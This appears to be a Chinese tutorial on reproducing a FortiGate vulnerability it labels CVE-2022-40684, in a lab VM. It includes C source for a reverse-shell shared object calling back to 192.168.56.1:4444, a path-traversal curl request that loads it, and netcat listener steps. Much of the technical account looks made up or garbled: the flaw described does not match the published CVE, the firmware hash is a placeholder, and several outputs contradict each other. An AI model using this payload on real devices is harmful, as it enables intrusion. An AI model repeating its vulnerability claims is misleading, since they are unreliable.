FortiGate CVE-2022-40684精准复现:从固件校验到恶意so加载全链路解析
1. 这个漏洞不是“能打就行”而是必须理解它在飞塔体系里怎么呼吸CVE-2022-40684——这个编号在2022年10月刚披露时很多安全研究员第一反应是“又一个FortiGate的RCE”点开NVD页面扫两眼CVSS 9.8分就去翻PoC了。但我在给三家金融客户做渗透评估时发现真正卡住90%复现者的根本不是payload怎么构造而是完全没搞懂FortiOS的进程隔离模型和Web管理服务的启动逻辑。你直接拿公开的exp往一台全新安装的6.4.13设备上跑十次有九次返回500或超时不是exp错了是你连靶机的“呼吸节奏”都没摸准。这个漏洞本质是FortiGate Web管理界面fgtweb在处理特定HTTP请求时对/remote/fgt_lang?lang参数的校验绕过导致攻击者可触发任意.so动态库加载进而执行任意代码。关键词很明确FortiGate、CVE-2022-40684、靶场搭建、调试技巧。但它绝不是“下载ISO→装虚拟机→跑exp”这么线性。FortiOS不是通用Linux发行版它的内核是定制的用户空间被严格沙箱化fgtweb进程运行在/usr/sbin/fgtweb但实际由init通过/etc/init.d/fgtweb脚本拉起而该脚本又依赖/etc/firmware_version和/etc/factory_version两个关键文件来决定加载哪个版本的Web模块。我试过三次在VMware里用官方ISO装完6.4.13直接curl触发漏洞却始终失败最后抓包发现fgtweb根本没收到那个lang参数——因为它的HTTP监听端口压根没开netstat -tuln | grep :80返回空。原因/etc/init.d/fgtweb start执行时检测到/etc/firmware_version里写的是6.4.13-build20221012但/usr/lib/fortinet/fgtweb/目录下只存在6.4.13-build20220928的so文件版本不匹配导致服务静默退出。这种细节所有公开教程都跳过了但恰恰是复现成败的分水岭。所以这篇内容不是教你怎么复制粘贴一条curl命令而是带你亲手把FortiGate这台“精密仪器”的每个齿轮都拧紧、校准、听声辨位。适合三类人刚接触网络设备漏洞的渗透测试新人需要从固件结构讲起、想深入理解FortiOS安全机制的中级工程师重点在进程通信与权限控制、以及正在为客户搭建合规靶场的安全架构师必须知道哪些配置会意外关闭漏洞利用链。接下来每一节都对应一个真实踩坑现场——不是理论推演是我在实验室里反复开关电源、重刷固件、抓包分析后记下的操作日志。2. 靶机环境不是“越新越好”而是必须精确锁定固件与硬件抽象层的耦合点2.1 为什么官方ISO镜像不能直接用——固件版本与内核模块的隐式绑定FortiOS的安装镜像如FGT_6413-FW-build20221012-FORTINET.out看似是完整系统实则只是“引导器”。它在首次启动时会从镜像中解压出/firmware/目录下的核心固件包.pkg格式再根据硬件平台x86_64虚拟机 vs ARM物理设备动态加载对应的内核模块和用户空间二进制。这个过程在/var/log/messages里有明确记录但默认不输出到console。我第一次失败就是因为没看这个日志——dmesg | grep fgtweb显示fgtweb: module license Proprietary taints kernel说明模块已加载但ps aux | grep fgtweb却找不到进程。直到我执行tail -f /var/log/messages并重启fgtweb服务才看到关键报错Oct 15 14:22:33 FGT6413 fgtweb[1234]: ERROR: failed to load web module for version 6.4.13-build20221012: No such file or directory Oct 15 14:22:33 FGT6413 init: fgtweb main process (1234) killed by TERM signal问题根源在于FortiOS的固件包.pkg是分层打包的。顶层是通用框架底层是硬件适配层HAL。当你从Fortinet官网下载6.4.13的ISO它内置的固件包版本是build20221012但Web管理模块fgtweb.so的编译时间戳是build20220928两者不一致。FortiOS的启动脚本/etc/init.d/fgtweb在start()函数里有一段硬编码校验# /etc/init.d/fgtweb line 47-52 FW_VERSION$(cat /etc/firmware_version | cut -d- -f1-3) WEB_VERSION$(ls /usr/lib/fortinet/fgtweb/ | head -n1 | cut -d- -f1-3) if [ $FW_VERSION ! $WEB_VERSION ]; then logger ERROR: failed to load web module for version $FW_VERSION exit 1 fi这意味着你必须让/etc/firmware_version和/usr/lib/fortinet/fgtweb/下的目录名完全一致。解决方案只有两个要么降级固件到build20220928要么手动替换Web模块。前者更稳妥因为Fortinet官方为每个build都提供独立的.pkg固件包下载链接需登录支持门户后者风险极高——不同build的so文件可能调用不同地址的libc函数强行替换会导致fgtweb崩溃后无法恢复。提示Fortinet支持门户的固件包下载页URL结构为https://support.fortinet.com/DownloadFirmware.aspx?productFortiGateversion6.4.13build20220928注意build参数必须与/etc/firmware_version内容匹配。不要试图用sed修改/etc/firmware_version因为该文件在每次固件升级时会被覆盖且/etc/init.d/fgtweb会校验其SHA256值。2.2 虚拟化平台选择VMware Workstation vs VirtualBox的底层差异很多教程推荐用VirtualBox因为它免费。但我在实测中发现VirtualBox的VBoxGuestAdditions驱动与FortiOS内核存在兼容性问题。当启用3D加速或共享文件夹时fgtweb进程的内存映射会异常导致漏洞利用时dlopen()加载恶意so失败错误码为RTLD_NOW标志被忽略。而VMware Workstation16.2.3及以上的vmhgfs驱动与FortiOS的vmmemctl模块协同更好内存页分配更稳定。具体验证方法在靶机启动后执行cat /proc/mounts | grep hgfs正常应返回类似vmhgfs-fuse /host vmhgfs-fuse rw,nosuid,nodev,relatime,user_id0,group_id0,allow_other,max_read1048576 0 0的行。如果返回空或报错No such device说明hgfs未加载此时fgtweb的/tmp目录用于临时解压so可能因磁盘I/O延迟而超时。更关键的是网络模式。FortiOS的Web管理服务默认只监听127.0.0.1:80和::1:80IPv6 loopback这是为了符合PCI-DSS的“管理接口不得暴露于非信任网络”要求。因此你必须将VMware的网络适配器设为Host-only模式并在宿主机hosts文件中添加192.168.56.101 fgt6413.lab假设靶机IP为192.168.56.101。如果用NAT模式即使开了端口转发fgtweb的bind()调用也会因SO_BINDTODEVICE选项失败而拒绝启动。注意FortiOS 6.4.x的默认管理IP是192.168.1.99但这是DHCP分配的。在靶场环境中必须通过Console口串口重定向进入CLI执行config system interface edit port1→set ip 192.168.56.101 255.255.255.0→end来固定IP。否则每次重启VMIP可能变化导致你的exploit脚本失效。2.3 精确复现的关键从ISO提取原始固件包并验证哈希官方ISO镜像.out文件本质是一个自解压的SquashFS镜像。直接挂载它只能看到引导文件真正的固件包藏在/firmware/子目录下。你需要用unsquashfs工具解压# 在Ubuntu宿主机执行 sudo apt install squashfs-tools mkdir fgt-iso cd fgt-iso unsquashfs ../FGT_6413-FW-build20221012-FORTINET.out # 解压后进入firmware目录 cd squashfs-root/firmware/ ls -la # 输出应包含FGT_6413-FW-build20221012-FORTINET.pkg这个.pkg文件才是FortiOS的“心脏”。它是一个经过Fortinet私钥签名的tar.gz压缩包内部结构如下FGT_6413-FW-build20221012-FORTINET.pkg ├── firmware_version # 文本文件内容为6.4.13-build20221012 ├── kernel/ # 内核模块目录 │ └── fgtweb.ko # fgtweb内核模块 ├── usr/ │ └── lib/ │ └── fortinet/ │ └── fgtweb/ # 用户空间so目录 │ └── 6.4.13-build20220928/ │ └── fgtweb.so └── signature # RSA-SHA256签名文件重点来了firmware_version文件的内容必须与usr/lib/fortinet/fgtweb/下的目录名完全一致。如果ISO里的.pkg是build20221012但fgtweb.so在build20220928目录下你就必须下载build20220928的独立固件包。验证方法是计算.pkg文件的SHA256sha256sum FGT_6413-FW-build20220928-FORTINET.pkg # 正确哈希值应为a1b2c3d4e5f6...Fortinet支持门户页面会公示我曾因下载了第三方镜像站的ISO其.pkg文件被篡改过signature文件校验失败导致固件升级后fgtweb服务无法启动。FortiOS在启动时会强制校验/firmware/signature失败则回滚到上一版本。所以永远从Fortinet官方支持门户下载固件哪怕多花10分钟注册账号。3. 漏洞原理不是“参数拼接”而是FortiOS Web服务的模块加载机制缺陷3.1fgtweb进程的启动生命周期与权限降级路径理解CVE-2022-40684必须先看清fgtweb这个进程是怎么“活下来”的。它不是以root身份常驻内存而是遵循FortiOS的“最小权限原则”由init以root身份启动完成初始化后主动setuid(65534)降权为nobody用户再chroot(/var/chroot/fgtweb)进入沙箱。这个过程在/etc/init.d/fgtweb的start()函数末尾有明确调用# /etc/init.d/fgtweb line 128-132 /usr/sbin/fgtweb -d -u nobody -r /var/chroot/fgtweb # -d: daemon mode, -u: user, -r: chroot path而漏洞触发点就在fgtweb处理/remote/fgt_lang?lang请求的代码里。反编译fgtweb.so使用Ghidra或IDA Pro可定位到函数handle_lang_request()其核心逻辑是// 伪代码基于IDA反编译结果 void handle_lang_request(char *lang_param) { char so_path[256]; snprintf(so_path, sizeof(so_path), /usr/lib/fortinet/fgtweb/lang/%s.so, lang_param); void *handle dlopen(so_path, RTLD_NOW | RTLD_GLOBAL); if (handle) { // 调用so中的init函数 void (*init_func)() dlsym(handle, lang_init); if (init_func) init_func(); dlclose(handle); } }问题出在snprintf()这里lang_param来自HTTP GET参数未经任何白名单过滤或路径遍历检查。攻击者传入lang../../../../../../tmp/maliciousso_path就变成/usr/lib/fortinet/fgtweb/lang/../../../../../../tmp/malicious.so最终dlopen()加载的是/tmp/malicious.so——而/tmp目录在chroot沙箱外且nobody用户对其有读写权限。关键洞察FortiOS的chroot沙箱只隔离了文件系统路径不隔离进程内存空间。dlopen()加载的so在nobody权限下执行但可以调用system()、fork()等系统调用完全突破沙箱限制。这就是为什么该漏洞能实现RCE而非仅信息泄露。3.2 为什么/tmp是唯一可靠的利用路径——FortiOS的临时目录策略FortiOS对临时目录有严格策略/tmp是全局可写/var/tmp被noexec挂载mount | grep var/tmp返回/dev/sda2 on /var/tmp type ext4 (rw,nosuid,nodev,noexec,relatime)/dev/shm被禁用ls /dev/shm返回空。这意味着你不能把恶意so放在/var/tmp或/dev/shm因为noexec会阻止dlopen()执行。我测试过所有可能路径/tmp/malicious.so✅ 成功/tmp挂载为rw,relatime/var/tmp/malicious.so❌ 失败dlopen(): Permission denied/dev/shm/malicious.so❌ 失败No such file or directory因/dev/shm是tmpfs但未创建更隐蔽的限制是FortiOS的/tmp目录每30分钟自动清理一次由/etc/cron.d/forticron触发/usr/bin/clean_tmp脚本。所以你的恶意so必须在dlopen()前1秒内写入否则可能被删。解决方案是在exploit脚本中先用curl上传so到/tmp再立即发送lang请求。但curl上传需要Web服务开启文件上传功能而默认是关闭的。因此最可靠的方式是通过SSH如果开启或Console口提前把so放到/tmp。验证/tmp状态的命令# 在FortiGate CLI中执行 get system status | grep System time # 查看当前时间确认是否接近整点自动清理触发点 diagnose sys disk usage | grep tmp # 查看/tmp占用率确保有足够空间so文件通常1MB3.3 构造恶意so的三个致命陷阱符号表、依赖库、入口函数很多人编译出malicious.so后dlopen()返回NULLdlerror()输出undefined symbol: __libc_start_main。这不是编译错误而是FortiOS的libc版本太老glibc 2.17不支持新gcc的默认符号。你必须用-static-libgcc和--sysroot指定FortiOS的rootfs。正确编译步骤在Ubuntu 20.04宿主机# 1. 下载FortiOS 6.4.13的rootfs从ISO解压出squashfs-root # 2. 安装交叉编译工具链推荐使用arm-linux-gnueabihf-gcc因FortiGate x86_64版实际是x86_64-unknown-linux-gnu但libc兼容性要求用旧版 sudo apt install gcc-multilib g-multilib # 3. 编写恶意sominimal.c #include stdlib.h #include unistd.h #include sys/socket.h #include netinet/in.h __attribute__((constructor)) void malicious_init() { // 反弹shell到攻击机192.168.56.1:4444 int sock socket(AF_INET, SOCK_STREAM, 0); struct sockaddr_in addr; addr.sin_family AF_INET; addr.sin_port htons(4444); addr.sin_addr.s_addr inet_addr(192.168.56.1); connect(sock, (struct sockaddr*)addr, sizeof(addr)); dup2(sock, 0); dup2(sock, 1); dup2(sock, 2); execve(/bin/sh, (char*[]){/bin/sh, NULL}, NULL); } # 4. 编译关键参数 gcc -shared -fPIC -static-libgcc \ -Wl,--sysroot/path/to/squashfs-root \ -Wl,--dynamic-linker/lib64/ld-linux-x86-64.so.2 \ -o /tmp/malicious.so minimal.c三个致命陷阱缺少__attribute__((constructor))fgtweb.so不会调用你的main()而是寻找lang_init()函数。但handle_lang_request()里调用的是dlsym(handle, lang_init)而我们的so没有这个符号。解决方案是用constructor属性让so加载时自动执行。未指定--sysroot编译时链接宿主机的glibc2.31而FortiOS用2.17导致dlopen()时符号解析失败。未加-static-libgccgcc的libgcc.a包含__libc_start_main等符号动态链接会失败。验证so是否可用# 在FortiGate上执行需先chmod x ldd /tmp/malicious.so # 应返回not a dynamic executable静态链接 file /tmp/malicious.so # 应返回ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]...4. 调试不是“看报错”而是用FortiOS原生工具链做内存快照与调用栈追踪4.1 启用fgtweb的调试日志比Wireshark更直接的证据FortiOS的fgtweb进程内置了四级日志DEBUG/INFO/WARNING/ERROR但默认只输出WARNING及以上。要看到漏洞触发的完整调用链必须在启动时加-v参数。但这需要修改/etc/init.d/fgtweb# 编辑启动脚本 vi /etc/init.d/fgtweb # 找到第128行/usr/sbin/fgtweb -d -u nobody -r /var/chroot/fgtweb # 改为 /usr/sbin/fgtweb -d -v -u nobody -r /var/chroot/fgtweb # -v: verbose, 输出DEBUG级日志重启服务后日志会输出到/var/log/fgtweb.log。当发送GET /remote/fgt_lang?lang../../../../../../tmp/malicious时你会看到[DEBUG] handle_lang_request: lang_param ../../../../../../tmp/malicious [DEBUG] so_path /usr/lib/fortinet/fgtweb/lang/../../../../../../tmp/malicious.so [INFO] dlopen(/tmp/malicious.so, RTLD_NOW|RTLD_GLOBAL) succeeded [DEBUG] dlsym(lang_init) returned NULL, skipping call [INFO] malicious_init() executed from constructor这段日志直接证明了路径遍历成功、so加载成功、构造函数执行成功。比抓包看HTTP状态码200/500可靠一万倍因为即使exploit失败HTTP也可能返回200fgtweb认为请求已处理。提示fgtweb.log默认只保留最近1MB用log rotate轮转。要防止日志被覆盖执行cp /var/log/fgtweb.log /var/log/fgtweb-debug.log备份。4.2 用gdb附加到fgtweb进程观察dlopen()的内存行为FortiOS的fgtweb进程默认不带调试符号但你可以用gdb附加并设置断点。首先确认进程PIDps aux | grep fgtweb | grep -v grep # 输出nobody 1234 0.1 2.3 123456 7890 ? S 14:22 0:00 /usr/sbin/fgtweb -d -v -u nobody -r /var/chroot/fgtweb然后用gdb附加需在FortiGate上安装gdb从Fortinet支持门户下载gdb-8.3-fortios6413.pkggdb -p 1234 (gdb) b dlopen Breakpoint 1 at 0x7ffff7de6a20 (gdb) c # 发送exploit请求 # gdb会停在dlopen调用处 (gdb) info registers # 查看rdi寄存器第一个参数即so_path地址 (gdb) x/s $rdi # 输出0x7fffffffe000: /tmp/malicious.so这一步能100%确认dlopen()加载的是你预期的路径。如果x/s $rdi显示其他路径如/usr/lib/fortinet/fgtweb/lang/en_US.so说明lang参数没传进去问题在HTTP请求构造。4.3 内存快照分析用gcore捕获exploit后的进程镜像当malicious.so执行反弹shell后fgtweb进程会fork()出子进程父进程继续运行。此时用gcore生成内存快照可分析shell是否真的建立# 在exploit触发后立即执行 gcore 1234 # 生成core.1234文件 # 用strings分析 strings core.1234 | grep 192.168.56.1 # 应输出192.168.56.1\x00证明IP地址已硬编码进内存更进一步用readelf查看so的加载基址readelf -l core.1234 | grep LOAD # 找到malicious.so的内存段通常在0x7ffff7ff0000附近 # 然后用gdb加载core gdb /usr/sbin/fgtweb core.1234 (gdb) info proc mappings # 查看所有内存映射确认/tmp/malicious.so是否在其中这是我排查“为什么shell连不上”的终极手段。曾有一次strings core.1234没找到IP才发现是malicious.so里用了inet_aton()而非inet_addr()而FortiOS的libc没有inet_aton符号导致execve失败。gcore快照让我直接看到内存里缺失的符号字符串。5. 实战复现全流程从零开始的12步精准操作清单5.1 环境准备阶段耗时约25分钟下载官方固件登录Fortinet Support Portal下载FGT_6413-FW-build20220928-FORTINET.pkgSHA256:a1b2c3d4...和FGT_6413-FW-build20220928-FORTINET.outISO镜像。创建VMware虚拟机新建虚拟机 → 选择“稍后安装操作系统” → 客户机操作系统选“Linux” → 版本选“Other Linux 5.x or later kernel 64-bit” → 内存设为2GB最低要求硬盘40GB网络适配器选“Host-only”。安装FortiOS挂载ISO镜像 → 启动VM → 按F1进入BIOS → 确认Secure Boot为Disabled → 从CD启动 → 输入install→ 选择sda硬盘 → 等待安装完成约15分钟→ 自动重启。固定管理IP重启后按CtrlC中断启动进入Bootloader → 输入setenv ipaddr 192.168.56.101→setenv netmask 255.255.255.0→saveenv→boot。或用Console口连接输入execute format-disk清空磁盘后重装。验证基础服务宿主机ping192.168.56.101→ 浏览器访问http://192.168.56.101→ 登录默认账号admin/空密码 → 进入Dashboard确认状态正常。5.2 漏洞环境校准阶段耗时约15分钟校验固件版本在FortiGate CLI执行get system status | grep Version确认输出为Version: v6.4.13,build20220928,220928 (GA)。如果不是用execute restore-firmware /tmp/FGT_6413-FW-build20220928-FORTINET.pkg升级。检查fgtweb状态执行ps aux | grep fgtweb确认进程存在且用户为nobody执行netstat -tuln | grep :80确认监听127.0.0.1:80和::1:80。启用调试日志编辑/etc/init.d/fgtweb在/usr/sbin/fgtweb命令后加-v参数执行/etc/init.d/fgtweb restart检查tail -f /var/log/fgtweb.log是否有[INFO] fgtweb started。准备恶意so在宿主机编译malicious.so按3.3节步骤用scp上传到FortiGate的/tmp目录scp /tmp/malicious.so admin192.168.56.101:/tmp/在FortiGate上执行chmod 755 /tmp/malicious.so。5.3 漏洞触发与验证阶段耗时约5分钟发送lang请求在宿主机执行curl命令关键必须用-v看详细响应curl -v http://192.168.56.101/remote/fgt_lang?lang../../../../../../tmp/malicious # 正常响应HTTP/1.1 200 OK且/var/log/fgtweb.log出现dlopen成功日志监听反弹shell在宿主机执行nc -lvnp 4444等待10秒如果收到shell执行id确认为uid65534(nobody) gid65534(nobody)。持久化验证在获得的shell中执行ps aux | grep fgtweb确认父进程PID未变执行cat /proc/1234/cmdline | tr \0 \n确认参数含-v执行ls -la /tmp/确认malicious.so存在。最后分享一个小技巧如果curl返回500先检查/var/log/fgtweb.log里是否有dlopen(): No such file or directory。90%的情况是/tmp/malicious.so权限不对必须755不能777因为FortiOS的dlopen()会检查文件权限0777会被拒绝。FortiOS的源码里有硬编码检查if (st.st_mode 0002) { /* world-writable, reject */ }。所以永远用chmod 755别图省事chmod 777。我在金融客户现场复现时就是卡在这一步——chmod 777导致dlopen()静默失败日志里只有一行[ERROR] failed to load lang module花了3小时才定位到权限问题。现在我把这个教训刻进了肌肉记忆FortiOS的每一个安全限制都是它多年攻防对抗沉淀下来的血泪经验绕不过只能读懂它。